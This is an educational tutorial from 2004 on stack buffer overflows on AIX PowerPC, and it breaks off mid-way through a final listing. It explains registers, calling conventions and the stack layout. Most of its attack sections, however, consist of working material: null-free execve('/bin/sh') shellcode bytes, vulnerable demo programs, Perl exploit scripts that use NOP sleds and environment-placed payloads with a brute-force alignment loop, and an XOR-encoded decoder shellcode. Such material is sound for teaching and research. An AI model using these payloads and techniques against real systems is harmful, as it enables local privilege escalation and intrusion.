AIX PowerPC buffer overflow step by step


Create: 2004-08-13
Author: san (san_at_xfocus.org)

Chinese version: http://www.xfocus.net/articles/200406/711.html

--[ 1 - Familiar with PowerPC architecture(32 bit)

The PowerPC architecture is a Reduced Instruction Set Computer (RISC) architecture, with over two hundred defined instructions. PowerPC is RISC in that most instructions execute in a single cycle and typically perform a single operation (such as loading storage to a register, or storing a register to memory). PowerPC instructions are of uniform length of 32 bits and there are almost 12 instruction formats, which reflect 5 primary classes of instructions:

- branch instructions,
- fixed-point instructions,
- floating-point instructions,
- load and store instructions,
- processor control instructions.

PowerPC's application-level registers are broken into three classes: general-purpose registers (GPRs), floating-point registers (FPRs and Floating-Point Status and Control Register [FPSCR]), and special-purpose registers (SPRs). We can see 38 registers in gdb with "info registers" command. Following, Let's look at each class.

r0        Volatile register used in function prologs
r1        Stack frame pointer
r2        TOC pointer
r3        Volatile parameter and return value register
r4-r10    Volatile registers used for function parameters
r11       Volatile register used in calls by pointer and as an
          environment pointer for languages which require one
r12       Volatile register used for exception handling and glink code
r13       Reserved for use as system thread ID
r14-r31   Nonvolatile registers used for local variables

Floating-point registers (FPRs)

f0        Volatile scratch register
f1-f4     Volatile floating point parameter and return value registers
f5-f13    Volatile floating point parameter registers
f14-f31   Nonvolatile registers

Special-purpose registers (SPRs)

LR        Link register (volatile)
CTR       Loop counter register (volatile)
XER       Fixed point exception register (volatile)
FPSCR     Floating point status and control register (volatile)

CR0-CR1   Volatile condition code register fields
CR2-CR4   Nonvolatile condition code register fields
CR5-CR7   Volatile condition code register fields

Registers r1, r14 through r31, and f14 through f31 are nonvolatile, which means that they preserve their values across function calls. Functions which use those registers must save the value before changing it, restoring it before the function returns. Register r2 is technically nonvolatile, but it is handled specially during function calls as described below: in some cases the calling function must restore its value after a function call.

Registers r0, r3 through r12, f0 through f13, and the special purpose registers LR, CTR, XER, and FPSCR are volatile, which means that they are not preserved across function calls. Furthermore, registers r0, r2, r11, and r12 may be modified by cross-module calls, so a function can not assume that the values of one of these registers is that placed there by the calling function.

The condition code register fields CR0, CR1, CR5, CR6, and CR7 are volatile. The condition code register fields CR2, CR3, and CR4 are nonvolatile; a function which modifies them must save and restore at least those fields of the CR. Languages that require "environment pointers" shall use r11 for that purpose.

On AIX the svca (sc in a mnemonic notation of PowerPC) instruction is used whenever the operating system services are to be called. The r2 register denotes the system call number and registers r3-r10 are appropriately filled with a given system call arguments. There are two additional prerequisites that must be fulfilled before executing the system call instruction: the LR register must be filled with the return from syscall address value and the crorc cr6, cr6, cr6 instruction must be issued just before the system call.

--[ 2 - Learn AIX PowerPC assemble format

Use gcc -S to compile C program can obtain AIX assembly code. If you are not familiar with AIX PowerPC assemble format, just write a small program in C language.

/* setuid.c
*
*  Learn AIX PowerPC assembly
*/
#include <unistd.h>
int main()
{
    setuid(0);
}

Then compile it use gcc with -S option:

-bash-2.05b$ gcc -S setuid.c

Open setuid.s on current directory:

        .file   "setuid.c"
        .toc
        .csect .text[PR]
        .align 2
        .globl main
        .globl .main
        .csect main[DS]
main:
        .long .main, TOC[tc0], 0
        .csect .text[PR]
.main:
        .extern __mulh
        .extern __mull
        .extern __divss
        .extern __divus
        .extern __quoss
        .extern __quous
        mflr 0
        stw 31,-4(1)
        stw 0,8(1)
        stwu 1,-72(1)
        mr 31,1
        li 3,0
        bl .setuid
        nop
        mr 3,0
        lwz 1,0(1)
        lwz 0,8(1)
        mtlr 0
        lwz 31,-4(1)
        blr
LT..main:
        .long 0
        .byte 0,0,32,97,128,1,0,1
        .long LT..main-.main
        .short 4
        .byte "main"
        .byte 31
        .align 2
_section_.text:
        .csect .data[RW],3
        .long _section_.text

To reduce to fundamental parts, the following is enough:

        .globl .main
        .csect .text[PR]
.main:
        mflr 0
        stw 31,-4(1)
        stw 0,8(1)
        stwu 1,-72(1)
        mr 31,1
        li 3,0
        bl .setuid
        nop
        mr 3,0
        lwz 1,0(1)
        lwz 0,8(1)
        mtlr 0
        lwz 31,-4(1)
        blr

--[ 3 - Learn shellcode of AIX PowerPC

B-r00t's PowerPC/OS X (Darwin) Shellcode Assembly is good stuff, although it is OS X but both are PowerPC architecture. We can write shellcode like B-r00t:

-bash-2.05b$ cat simple_execve.s
.globl .main
.csect .text[PR]
.main:
        xor.    %r5, %r5, %r5       # r5 = NULL
        bnel    .main               # branch to _main if not equal
        mflr    %r3                 # r3 = main + 8
        addi    %r3, %r3, 32        # r3 = main + 8 + 32 = string
        stw     %r3, -8(%r1)        # argv[0] = string
        stw     %r5, -4(%r1)        # argv[1] = NULL
        subi    %r4, %r1, 8         # r4 = pointer to argv[]
        li      %r2, 5              # syscall number = execve
        crorc   %cr6, %cr6, %cr6    # There are two additional prerequisites that must be fulfilled before executing the system call instruction: the LR register must be filled with the return from syscall address value and the crorc cr6, cr6, cr6 instruction must be issued just before the system call.
        svca    0                   # execve(r3, r4, r5)
string:                             # execve(path, argv[], NULL)
        .asciz  "/bin/sh"

-bash-2.05b$ gcc -o simple_execve simple_execve.s
-bash-2.05b$ ./simple_execve
$

The execve syscall executed correct, and then use objdump check the opcode:

-bash-2.05b$ objdump -d simple_execve|more
...
0000000010000544 <.main>:
    10000544:   7c a5 2a 79     xor.    r5,r5,r5
    10000548:   40 82 ff fd     bnel    10000544 <.main>
    1000054c:   7c 68 02 a6     mflr    r3
    10000550:   38 63 00 20     cal     r3,32(r3)
    10000554:   90 61 ff f8     st      r3,-8(r1)
    10000558:   90 a1 ff fc     st      r5,-4(r1)
    1000055c:   38 81 ff f8     cal     r4,-8(r1)
    10000560:   38 40 00 05     lil     r2,5
    10000564:   4c c6 33 42     crorc   6,6,6
    10000568:   44 00 00 02     svca    0
    1000056c:   2f 62 69 6e     cmpi    6,r2,26990
    10000570:   2f 73 68 00     cmpi    6,r19,26624
...

There are some opcodes contain zero. These bytes must be eliminated for the shellcode to suit strcpy etc. Some instructions have reservered bytes, so we can replace it. The opcode of svca is 0x44000002. However, bytes 2 and 3 of the opcode are reserved and therefore not used. So it can be instead of 0x44ffff02. LSD provided a simple shellcode:

/* shellcode.c
*
*  ripped from lsd
*/

char shellcode[] =         /* 12*4+8 bytes                 */
    "\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5             */
    "\x40\x82\xff\xfd"     /* bnel    <shellcode>          */
    "\x7f\xe8\x02\xa6"     /* mflr    r31                  */
    "\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)       */
    "\x38\x7f\xff\x08"     /* cal     r3,-248(r31)         */
    "\x38\x9f\xff\x10"     /* cal     r4,-240(r31)         */
    "\x90\x7f\xff\x10"     /* st      r3,-240(r31)         */
    "\x90\xbf\xff\x14"     /* st      r5,-236(r31)         */
    "\x88\x5f\xff\x0f"     /* lbz     r2,-241(r31)         */
    "\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)         */
    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6          */
    "\x44\xff\xff\x02"     /* svca                         */
    "/bin/sh"
    "\x05"
    ;
int main(void)
{
    int jump[2]={(int)shellcode,0};
    ((*(void (*)())jump)());
}

After compiled this program, use IDAPro to open and disassemble it. In IDAPro window, click shellcode at Names window and press c to disassemble the shellcode data:

.data:200006D8             shellcode:                              # CODE XREF: .data:200006DCp
.data:200006D8                                                     # DATA XREF: .data:shellcode_TCo
.data:200006D8 7C A5 2A 79                 xor.    r5, r5, r5      # r5 = NULL
.data:200006DC 40 82 FF FD                 bnel    shellcode       # branch to shellcode if not equal
.data:200006E0 7F E8 02 A6                 mflr    r31             # r31 = .data:200006D8 + 8
.data:200006E4 3B FF 01 20                 addi    r31, r31, 0x120 # r31 = .data:200006D8 + 8 + 0x120
.data:200006E8 38 7F FF 08                 subi    r3, r31, 0xF8   # r3  = .data:200006D8 + 8 + 0x120 - 0xF8 = .data:20000708 = string
.data:200006EC 38 9F FF 10                 subi    r4, r31, 0xF0   # r4  = .data:20000710
.data:200006F0 90 7F FF 10                 stw     r3, -0xF0(r31)  # put address .data:20000708 to .data:20000710
.data:200006F4 90 BF FF 14                 stw     r5, -0xEC(r31)  # put 0 to .data:20000714
.data:200006F8 88 5F FF 0F                 lbz     rtoc, -0xF1(r31)# load syscall number to r2
.data:200006FC 98 BF FF 0F                 stb     r5, -0xF1(r31)  # put 0 to .data:2000070F
.data:20000700 4C C6 33 42                 crorc   4*cr1+eq, 4*cr1+eq, 4*cr1+eq # Condition Register OR with Comlement
.data:20000700             # ------------------------------------------------------------------------
.data:20000704 44                          .byte 0x44 # modified svca
.data:20000705 FF                          .byte 0xFF
.data:20000706 FF                          .byte 0xFF
.data:20000707 02                          .byte    2
.data:20000708 2F                          .byte 0x2F # /
.data:20000709 62                          .byte 0x62 # b
.data:2000070A 69                          .byte 0x69 # i
.data:2000070B 6E                          .byte 0x6E # n
.data:2000070C 2F                          .byte 0x2F # /
.data:2000070D 73                          .byte 0x73 # s
.data:2000070E 68                          .byte 0x68 # h
.data:2000070F 05                          .byte    5

IDAPro is more powerful and it's disassembly is more understandability. OK, we know how to write and debug shellcode now.

--[ 4 - Learn overflow technology of AIX PowerPC

There are differences of stack structure between PowerPC and ia32. The PowerPC stack conventions use only a stack pointer (held in register GPR1) and no frame pointer. This configuration assumes a fixed stack frame size, which is known at compile time. Parameters are not passed by pushing them onto the stack. The following is the PowerPC stack:

       . Stack before   .               . Stack after    .
       .  calling a     .               .  calling a     .
       |  procedure     |               |  procedure     |
       +----------------+-              +----------------+-
       | Parameter area | |             | Parameter area | |
       +----------------+ +-Caller      +----------------+ +-Caller
       | Linkage area   | |             | Linkage area   | |
SP --->+----------------+-              +----------------+-
       |  Stack grows   |               | Saved registers| |
       .      down      .               +----------------+ |
       .        |       .               | Local variables| |
                v                       +----------------+ +-Callee
                                        | Parameter area | |
                                        +----------------+ |
                                        | Linkage area   | |
                                 SP --->+----------------+-
                                        |  Stack grows   |
                                        .      down      .
                                        .        |       .
                                                 v

The PowerPC runtime environment uses a grow-down stack that contains linkage information, local variables, and a routine's parameter information.

The calling routine's linkage area holds a number of values, some of which are saved by the calling routine and some by the called routine. It's structure as following:

    +24+----------------+
       |    Saved TOC   |
    +20+----------------+
       |    Reserved    |
    +16+----------------+
       |    Reserved    |
    +12+----------------+
       |    Saved LR    |
     +8+----------------+
       |    Saved CR    |
     +4+----------------+
       |    Saved SP    |
SP --->+----------------+

The Link Register (LR) value is saved at 8(SP) by the called routine if it chooses to do so.
The Condition Register (CR) value may be saved at 4(SP) by the called routine. As with the Link Register value, the called routine is not required to save this value.
The stack pointer is always saved by the calling routine as part of its stack frame.

The parameter area has space for the parameters of any routines the caller calls (not the parameters of the caller itself). Since the calling routine might call several different routines, the parameter area must be large enough to accommodate the largest parameter list of all the routines the caller calls. It is the calling routine's responsibility for setting up the parameter area before each call to some other routine, and the called routine's responsibility for accessing the parameters placed within it.

There are three instructions when function return on ia32:

mov esp,ebp ; esp point to prior frame
pop ebp
ret         ; execute address that saved at esp+4

There are some instructions when function return on AIX PowerPC:

lwz     r1,0(r1)    # r1 point to prior frame
lwz     r0,8(r1)    # load saved lr to r0
mtlr    r0          # lr=r0
lwz     r31,-4(r1)  #
blr                 # execute address that saved at lr

Although there are differences of stack structure between PowerPC and ia32, but they have the same overflow technology. We need overwrite ebp+4 of current frame to return our control address on ia32, and we need overwrite r1+8 of prior frame to return our control address on AIX PowerPC.

Running the simple_overflow program in GDB shows that the control of the saved return address (previous LR value) is possible.

-bash-2.05b$ cat simple_overflow.c
/* simple_overflow.c
*
*  Simple program to demonstrate buffer overflows
*  on the PowerPC architecture.
*/
#include <stdio.h>
#include <string.h>
char largebuff[] =
"123451234512345123451234=PRESERVEDSPACE=ABCD";
int main (void)
{
    char smallbuff[16];
    strcpy (smallbuff, largebuff);
}

-bash-2.05b$ gcc -o simple_overflow simple_overflow.c
-bash-2.05b$ gdb -q simple_overflow
(gdb) r
Starting program: /home/san/simple_overflow

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) i reg
r0             0x41424344       1094861636
r1             0x2ff22bb0       804400048
r2             0x20000e70       536874608
r3             0x20     32
r4             0x20000534       536872244
r5             0x2ff22bbc       804400060
r6             0x0      0
r7             0x0      0
r8             0x0      0
r9             0x80808080       -2139062144
r10            0x7f7f7f7f       2139062143
r11            0x4      4
r12            0x80808080       -2139062144
r13            0xdeadbeef       -559038737
r14            0x1      1
r15            0x2ff22c00       804400128
r16            0x2ff22c08       804400136
r17            0x0      0
r18            0xdeadbeef       -559038737
r19            0xdeadbeef       -559038737
r20            0xdeadbeef       -559038737
r21            0xdeadbeef       -559038737
r22            0xdeadbeef       -559038737
r23            0xdeadbeef       -559038737
r24            0xdeadbeef       -559038737
r25            0xdeadbeef       -559038737
r26            0xdeadbeef       -559038737
r27            0xdeadbeef       -559038737
r28            0x20000460       536872032
r29            0x10000000       268435456
r30            0x3      3
r31            0x53455256       1397051990
pc             0x41424344       1094861636
ps             0x4000d032       1073795122
cr             0x22222842       572663874
lr             0x41424344       1094861636
ctr            0x4      4
xer            0x0      0
fpscr          0x0      0
vscr           0x0      0
vrsave         0x0      0
(gdb) x/8x $r1
0x2ff22bb0:     0x45445350      0x4143453d      0x41424344      0x00000000
0x2ff22bc0:     0x00000000      0x20000e70      0x00000000      0x00000000

Register pc has been overwritten to ABCD and this is our controled content.

(gdb) disas main
Dump of assembler code for function main:
0x1000054c <main+0>:    mflr    r0
0x10000550 <main+4>:    stw     r31,-4(r1)
0x10000554 <main+8>:    stw     r0,8(r1)
0x10000558 <main+12>:   stwu    r1,-88(r1)
0x1000055c <main+16>:   mr      r31,r1
0x10000560 <main+20>:   addi    r3,r31,56
0x10000564 <main+24>:   lwz     r4,80(r2)
0x10000568 <main+28>:   bl      0x10006fa0 <strcpy>
0x1000056c <main+32>:   nop
0x10000570 <main+36>:   mr      r3,r0
0x10000574 <main+40>:   lwz     r1,0(r1)
0x10000578 <main+44>:   lwz     r0,8(r1)
0x1000057c <main+48>:   mtlr    r0
0x10000580 <main+52>:   lwz     r31,-4(r1)
0x10000584 <main+56>:   blr
0x10000588 <main+60>:   .long 0x0
0x1000058c <main+64>:   .long 0x2061
0x10000590 <main+68>:   lwz     r0,1(r1)
0x10000594 <main+72>:   .long 0x3c
0x10000598 <main+76>:   .long 0x46d61
0x1000059c <main+80>:   xori    r14,r11,7936
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x10000560
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/simple_overflow

Breakpoint 1, 0x10000560 in main ()
(gdb) display/i $pc
1: x/i $pc  0x10000560 <main+20>:       addi    r3,r31,56
(gdb) x/20x $r1
0x2ff22b58:     0x2ff22bb0      0x00000000      0x00000000      0x00000000
0x2ff22b68:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22b78:     0x00000000      0x00000000      0x00000000      0x00000001
0x2ff22b88:     0x00000000      0xdeadbeef      0xdeadbeef      0xdeadbeef
0x2ff22b98:     0xdeadbeef      0xdeadbeef      0x20000460      0x10000000
(gdb)
0x2ff22ba8:     0x00000003      0x20000460      0x00000000      0x44222802
0x2ff22bb8:     0x100001cc      0x00000000      0x00000000      0x20000e70
0x2ff22bc8:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22bd8:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22be8:     0x00000000      0x00000000      0x00000000      0x00000000

0x2ff22b58 is the current sp, and it contains prior stack frame address(0x2ff22bb0). So we can get the lr value that saved in prior stack frame, and it is 0x100001cc. The program will execute this address after main function return.

(gdb) until *0x1000056c
0x1000056c in main ()
1: x/i $pc  0x1000056c <main+32>:       nop
(gdb) i reg
r0             0x20     32
r1             0x2ff22b58       804399960
r2             0x20000e70       536874608
r3             0x2ff22b90       804400016
r4             0x20000534       536872244
r5             0x2ff22bbc       804400060
r6             0x0      0
r7             0x0      0
r8             0x0      0
r9             0x80808080       -2139062144
r10            0x7f7f7f7f       2139062143
r11            0x4      4
r12            0x80808080       -2139062144
r13            0xdeadbeef       -559038737
r14            0x1      1
r15            0x2ff22c00       804400128
r16            0x2ff22c08       804400136
r17            0x0      0
r18            0xdeadbeef       -559038737
r19            0xdeadbeef       -559038737
r20            0xdeadbeef       -559038737
r21            0xdeadbeef       -559038737
r22            0xdeadbeef       -559038737
r23            0xdeadbeef       -559038737
r24            0xdeadbeef       -559038737
r25            0xdeadbeef       -559038737
r26            0xdeadbeef       -559038737
r27            0xdeadbeef       -559038737
r28            0x20000460       536872032
r29            0x10000000       268435456
r30            0x3      3
r31            0x2ff22b58       804399960
pc             0x1000056c       268436844
ps             0x2d032  184370
cr             0x22222842       572663874
lr             0x1000056c       268436844
ctr            0x4      4
xer            0x0      0
fpscr          0x0      0
vscr           0x0      0
vrsave         0x0      0
(gdb) x/20x $r1
0x2ff22b58:     0x2ff22bb0      0x00000000      0x00000000      0x00000000
0x2ff22b68:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22b78:     0x00000000      0x00000000      0x00000000      0x00000001
0x2ff22b88:     0x00000000      0xdeadbeef      0x31323334      0x35313233
0x2ff22b98:     0x34353132      0x33343531      0x32333435      0x31323334
(gdb)
0x2ff22ba8:     0x3d505245      0x53455256      0x45445350      0x4143453d
0x2ff22bb8:     0x41424344      0x00000000      0x00000000      0x20000e70
0x2ff22bc8:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22bd8:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22be8:     0x00000000      0x00000000      0x00000000      0x00000000

After strcpy, the lr value that saved in prior stack frame was overwritten to 0x41424344.

(gdb) ni
0x10000570 in main ()
1: x/i $pc  0x10000570 <main+36>:       mr      r3,r0
(gdb)
0x10000574 in main ()
1: x/i $pc  0x10000574 <main+40>:       lwz     r1,0(r1)
(gdb)
0x10000578 in main ()
1: x/i $pc  0x10000578 <main+44>:       lwz     r0,8(r1)
(gdb)
0x1000057c in main ()
1: x/i $pc  0x1000057c <main+48>:       mtlr    r0
(gdb)
0x10000580 in main ()
1: x/i $pc  0x10000580 <main+52>:       lwz     r31,-4(r1)
(gdb)
0x10000584 in main ()
1: x/i $pc  0x10000584 <main+56>:       blr
(gdb)

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
1: x/i $pc  0x41424344: Cannot access memory at address 0x41424344
Disabling display 1 to avoid infinite recursion.

These instructions has been introduced before. The program will execute the lr value that saved in prior stack frame at r1+8.

--[ 5 - How to attack overflow vulnerability on AIX PowerPC

Now we know overflow process, then let's try to attack overflow vulnerability. The following program is the vulnerability.

-bash-2.05b$ cat vulnerable.c
/* vulnerable.c
*
*  Vulnerable program on the PowerPC architecture.
*/

#include <stdio.h>
#include <string.h>
int main (int argc, char *argv[])
{
    char vulnbuff[16];
    strcpy (vulnbuff, argv[1]);
    printf ("\n%s\n", vulnbuff);
    getchar(); /* for debug */
}

-bash-2.05b$ gcc -o vulnerable vulnerable.c

0x2ff22fff seems to be stack bottom of AIX. The following is the AIX's stack structure:

           Stack bottom
       +----------------+ 0x2ff22fff
       |    Reserverd   |
       +----------------+
       |    Enviroment  |
       +----------------+
       |      args      |
       +----------------+
       |      path      |
       +----------------+
       |  Stack frames  |
SP --->+----------------+
       |  Stack grows   |
       .      down      .
       .        |       .
       .        v       .

Enviroment address can be guessed more exactly, so we put lots of nop instructions and the shellcode into the enviroment.

-bash-2.05b$ cat exploit.pl
#!/usr/bin/perl
#
# exploit.pl
# exploit program vulnerable

$CMD="/home/san/vulnerable";

$SHELLCODE=
    "\x7c\xa5\x2a\x79".     # /* xor.    r5,r5,r5             */
    "\x40\x82\xff\xfd".     # /* bnel    <shellcode>          */
    "\x7f\xe8\x02\xa6".     # /* mflr    r31                  */
    "\x3b\xff\x01\x20".     # /* cal     r31,0x120(r31)       */
    "\x38\x7f\xff\x08".     # /* cal     r3,-248(r31)         */
    "\x38\x9f\xff\x10".     # /* cal     r4,-240(r31)         */
    "\x90\x7f\xff\x10".     # /* st      r3,-240(r31)         */
    "\x90\xbf\xff\x14".     # /* st      r5,-236(r31)         */
    "\x88\x5f\xff\x0f".     # /* lbz     r2,-241(r31)         */
    "\x98\xbf\xff\x0f".     # /* stb     r5,-241(r31)         */
    "\x4c\xc6\x33\x42".     # /* crorc   cr6,cr6,cr6          */
    "\x44\xff\xff\x02".     # /* svca                         */
    "/bin/sh".
    "\x05";

$NOP="\x60\x60\x60\x60"x800;
%ENV=();

$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"\x2f\xf2\x2b\x40"x11;

Try it.

-bash-2.05b$ ./exploit.pl

/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@

Use gdb debug the vulnerable program on the another tty:

-bash-2.05b$ ps aux|grep vul
san      47644  0.0  0.0  208  220  pts/1 A    22:16:24  0:00 grep vul
san      44544  0.0  0.0   96  304  pts/0 A    22:16:02  0:00 /home/san/vulnera
-bash-2.05b$ gdb vulnerable 44544
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
Attaching to program: /home/san/vulnerable, process 44544
0xd01ea254 in read () from /usr/lib/libc.a(shr.o)
(gdb) disas main
Dump of assembler code for function main:
0x10000544 <main+0>:    mflr    r0
0x10000548 <main+4>:    stw     r31,-4(r1)
0x1000054c <main+8>:    stw     r0,8(r1)
0x10000550 <main+12>:   stwu    r1,-88(r1)
0x10000554 <main+16>:   mr      r31,r1
0x10000558 <main+20>:   stw     r3,112(r31)
0x1000055c <main+24>:   stw     r4,116(r31)
0x10000560 <main+28>:   lwz     r9,116(r31)
0x10000564 <main+32>:   addi    r9,r9,4
0x10000568 <main+36>:   addi    r3,r31,56
0x1000056c <main+40>:   lwz     r4,0(r9)
0x10000570 <main+44>:   bl      0x10007000 <strcpy>
0x10000574 <main+48>:   nop
0x10000578 <main+52>:   lwz     r3,88(r2)
0x1000057c <main+56>:   addi    r4,r31,56
0x10000580 <main+60>:   bl      0x100073ec <printf>
0x10000584 <main+64>:   lwz     r2,20(r1)
0x10000588 <main+68>:   lwz     r11,92(r2)
0x1000058c <main+72>:   lwz     r9,92(r2)
0x10000590 <main+76>:   lwz     r9,4(r9)
0x10000594 <main+80>:   addi    r0,r9,-1
0x10000598 <main+84>:   stw     r0,4(r11)
0x1000059c <main+88>:   cmpwi   r0,0
0x100005a0 <main+92>:   bge-    0x100005b4 <main+112>
0x100005a4 <main+96>:   lwz     r3,92(r2)
0x100005a8 <main+100>:  bl      0x1000747c <__filbuf>
0x100005ac <main+104>:  lwz     r2,20(r1)
0x100005b0 <main+108>:  b       0x100005c8 <main+132>
0x100005b4 <main+112>:  lwz     r11,92(r2)
0x100005b8 <main+116>:  lwz     r9,92(r2)
0x100005bc <main+120>:  lwz     r9,0(r9)
0x100005c0 <main+124>:  addi    r0,r9,1
0x100005c4 <main+128>:  stw     r0,0(r11)
0x100005c8 <main+132>:  mr      r3,r0
0x100005cc <main+136>:  lwz     r1,0(r1)
0x100005d0 <main+140>:  lwz     r0,8(r1)
0x100005d4 <main+144>:  mtlr    r0
0x100005d8 <main+148>:  lwz     r31,-4(r1)
0x100005dc <main+152>:  blr
0x100005e0 <main+156>:  .long 0x0
0x100005e4 <main+160>:  .long 0x2061
0x100005e8 <main+164>:  lwz     r0,513(r1)
---Type <return> to continue, or q <return> to quit---
0x100005ec <main+168>:  .long 0x0
0x100005f0 <main+172>:  .long 0x9c
0x100005f4 <main+176>:  .long 0x46d61
0x100005f8 <main+180>:  xori    r14,r11,7936
End of assembler dump.
(gdb) b *0x100005dc
Breakpoint 1 at 0x100005dc
(gdb) c
Continuing.

Press any key at the tty which running exploit.pl, and the gdb debug window continues:

Breakpoint 1, 0x100005dc in main ()
(gdb) i reg
r0             0x100001cc       268435916
r1             0x2ff22210       804397584
r2             0x20000ee8       536874728
r3             0xf00890f1       -267874063
r4             0xf00890f0       -267874064
r5             0x0      0
r6             0xd032   53298
r7             0x0      0
r8             0x60000000       1610612736
r9             0x60002449       1610622025
r10            0x0      0
r11            0x600026c8       1610622664
r12            0x100005ac       268436908
r13            0xdeadbeef       -559038737
r14            0x2      2
r15            0x2ff22264       804397668
r16            0x2ff22270       804397680
r17            0x0      0
r18            0xdeadbeef       -559038737
r19            0xdeadbeef       -559038737
r20            0xdeadbeef       -559038737
r21            0xdeadbeef       -559038737
r22            0xdeadbeef       -559038737
r23            0xdeadbeef       -559038737
r24            0xdeadbeef       -559038737
r25            0xdeadbeef       -559038737
r26            0xdeadbeef       -559038737
r27            0xdeadbeef       -559038737
r28            0x20000520       536872224
r29            0x10000000       268435456
r30            0x3      3
r31            0x2ff22b40       804399936
pc             0x100005dc       268436956
ps             0x2d032  184370
cnd            0x24222422       606217250
lr             0x100001cc       268435916
cnt            0x0      0
xer            0x0      0
mq             0x0      0
fpscr          0x0      0
(gdb) x/20x $r1
(gdb) x/20x $r1
0x2ff22210:     0x2ff22b40      0x2ff22b40      0x2ff22b40      0x00000000
0x2ff22220:     0x00000000      0x20000ee8      0x00000002      0x2ff2225c
0x2ff22230:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22240:     0x00000000      0x00000000      0x00000000      0x00000000
0x2ff22250:     0x00000000      0x00000000      0x00000000      0x2ff22270
(gdb) x/20x 0x2ff22b40
0x2ff22b40:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22b50:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22b60:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22b70:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22b80:     0x60606060      0x60606060      0x60606060      0x60606060
...
...
...
(gdb)
0x2ff22f00:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22f10:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22f20:     0x60606060      0x60606060      0x60606060      0x60606060
0x2ff22f30:     0x60606060      0x60607ca5      0x2a794082      0xfffd7fe8
0x2ff22f40:     0x02a63bff      0x0120387f      0xff08389f      0xff10907f

The lr register has been overwritten to 0x2ff22b40. Program will execute this address after function returning, and there are lots of nop instructions after this address until the shellcode appeared. But we must be notice the align problem. The following exploit avoid this problem:

#!/usr/bin/perl
#
# exploit1.pl
# exploit program vulnerable

$CMD="/home/san/vulnerable";

$SHELLCODE=
    "\x7c\xa5\x2a\x79".     # /* xor.    r5,r5,r5             */
    "\x40\x82\xff\xfd".     # /* bnel    <shellcode>          */
    "\x7f\xe8\x02\xa6".     # /* mflr    r31                  */
    "\x3b\xff\x01\x20".     # /* cal     r31,0x120(r31)       */
    "\x38\x7f\xff\x08".     # /* cal     r3,-248(r31)         */
    "\x38\x9f\xff\x10".     # /* cal     r4,-240(r31)         */
    "\x90\x7f\xff\x10".     # /* st      r3,-240(r31)         */
    "\x90\xbf\xff\x14".     # /* st      r5,-236(r31)         */
    "\x88\x5f\xff\x0f".     # /* lbz     r2,-241(r31)         */
    "\x98\xbf\xff\x0f".     # /* stb     r5,-241(r31)         */
    "\x4c\xc6\x33\x42".     # /* crorc   cr6,cr6,cr6          */
    "\x44\xff\xff\x02".     # /* svca                         */
    "/bin/sh".
    "\x05";

$NOP="\x60\x60\x60\x60"x800;
%ENV=();

$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"\x2f\xf2\x2b\x40"x11;

for($i=0;$i<4 && $ret;$i++){
    for($j=0;$j<4 && $ret;$j++) {
        $ENV{CCC}="A"x $j .$NOP.$SHELLCODE;
        $ret = system $CMD ,"A"x $i ."\x2f\xf2\x2b\x40"x11;
    }
}

-bash-2.05b$ ./exploit1.pl

/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@


/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@


/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@


/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@

$

It seems good!

--[ 6 - Bypass I-cache

Decoder shellcode is very simple in ia32 architechture. Although PowerPC instructions cann't access memory direct except load and store instructions, but we can write a decoder shellcode as ia32.

char shellcode[] =
// decoder
"\x7c\xa5\x2a\x79"      //  xor.    %r5, %r5, %r5
"\x40\x82\xff\xfd"      //  bnel    .main
"\x7c\x68\x02\xa6"      //  mflr    %r3
"\x38\x63\x01\x01"      //  addi    %r3, %r3, 0x101
"\x38\x63\xff\x26"      //  addi    %r3, %r3, -0xDA     # r3 point start of real shellcode-1
"\x39\x20\x01\x01"      //  li      %r9, 0x101
"\x39\x29\xff\x23"      //  addi    %r9, %r9, -0xDD     # shellcode size+1
"\x7c\xc9\x18\xae"      //  lbzx    %r6, %r9, %r3       # read a character
"\x68\xc7\xfe\xfe"      //  xori    %r7, %r6, 0xFEFE    # xor
"\x7c\xe9\x19\xae"      //  stbx    %r7, %r9, %r3       # store a character
"\x35\x29\xff\xff"      //  subic.  %r9, %r9, 1
"\x40\x82\xff\xf0"      //  bne     Loop                # loop

// real shellcode
"\xc6\x9d\xfe\xe3"      //  addi    %r3, %r3, 29
"\x6e\x9f\x01\x06"      //  stw     %r3, -8(%r1)
"\x6e\x5f\x01\x02"      //  stw     %r5, -4(%r1)
"\xc6\x7f\x01\x06"      //  subi    %r4, %r1, 8
"\xc6\xbe\xfe\xfb"      //  li      %r2, 5
"\xb2\x38\xcd\xbc"      //  crorc   %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc"      //  svca    0
"\xd1\x9c\x97\x90"      //  .byte   '/', 'b', 'i', 'n',
